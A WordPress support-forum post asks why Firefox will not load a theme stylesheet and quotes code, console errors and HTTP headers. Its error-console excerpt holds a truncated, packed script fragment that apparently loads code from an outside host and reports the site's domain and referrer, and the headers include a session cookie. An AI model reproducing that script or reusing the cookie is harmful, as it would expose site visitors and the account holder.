Firefox is not loading stylesheet
-
I have done a lot of research at this point and I am completely lost as to what to try next. My stylesheet is working fine in IE and in Chrome, but isn’t loading/rendering in Firefox. I’m enqueuing the stylesheet in functions.php like so:
wp_enqueue_style( 'style', get_stylesheet_uri() );
Which ends up showing in the header HTML as:
<link id="style-css" media="all" type="text/css" href="https://localhost/wordpress/wp-content/themes/aou/style.css?ver=3.5" rel="stylesheet">
Troubleshooting steps so far
- Added
AddType text/css .css
into my .htaccess file - Set
default_mimetype = "css/html"
in php.ini - Validated (as much as possible) my css.
- Web console output checked:
`[19:31:14.943] Unknown property ‘box-sizing’. Declaration dropped. @ https://localhost/wordpress/wp-includes/css/admin-bar.min.css?ver=3.5:1
[19:31:14.943] Error in parsing value for ‘background-image’. Declaration dropped. @ https://localhost/wordpress/wp-includes/css/admin-bar.min.css?ver=3.5:1
[19:31:14.943] Unknown pseudo-class or pseudo-element ‘-webkit-input-placeholder’. Ruleset ignored due to bad selector. @ https://localhost/wordpress/wp-includes/css/admin-bar.min.css?ver=3.5:1
[19:31:14.944] Expected media feature name but found ‘-o-min-device-pixel-ratio’. @ https://localhost/wordpress/wp-includes/css/admin-bar.min.css?ver=3.5:1
[19:31:14.944] Expected media feature name but found ‘-webkit-min-device-pixel-ratio’. @ https://localhost/wordpress/wp-includes/css/admin-bar.min.css?ver=3.5:1
[19:31:14.989] Unknown property ‘-moz-opacity’. Declaration dropped. @ https://localhost/wordpress/wp-content/plugins/social-media-widget/social_widget.css:56
[19:31:15.259] Unknown property ‘-moz-opacity’. Declaration dropped. @ https://localhost/wordpress/
[19:31:15.369] Unknown property ‘box-sizing’. Declaration dropped. @ https://localhost/wordpress/` - Error console checked:
`Timestamp: 1/11/2013 7:31:15 PM
Error: SyntaxError: identifier starts immediately after numeric literal
Source File: https://localhost/wordpress/
Line: 30
Source Code:
0.f(‘<2’+’3 5=”6/7″ 8=”9://a.b/e/o/g?d=’+0.h+’&i=’+j(0.k)+’&`
Here is the info Firebug gives me:
[20:13:01.305] GET https://localhost/wordpress/wp-content/themes/aou/style.css?ver=3.5 [HTTP/1.1 200 OK 8ms]
response header
HTTP/1.1 206 Partial Content
Date: Sat, 12 Jan 2013 02:31:14 GMT
Server: Apache/2.4.2 (Win64) PHP/5.4.3
Last-Modified: Sat, 12 Jan 2013 01:46:47 GMT
Etag: “16654-4d30d95c04772”
Accept-Ranges: bytes
Content-Length: 91220
Content-Range: bytes 512-91731/91732
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/cssrequest header
GET /wordpress/wp-content/themes/aou/style.css?ver=3.5 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: https://localhost/wordpress/
Cookie: wp-settings-time-1=1357954254; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_bbfa5b726c6b7a9cf3cda9370be3ee91=kkingdon%7C1358127053%7C38aeae942b32cf1a34f8c2d8f6f1e533; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse%26wplink%3D1%26align%3Dnone%26imgsize%3Dfull%26urlbutton%3Dpost
Range: bytes=512-
If-Range: “16654-4d30d95c04772”
Cache-Control: max-age=0Please let me know if I need to give any other information in order to resolve this.
- Added
- The topic ‘Firefox is not loading stylesheet’ is closed to new replies.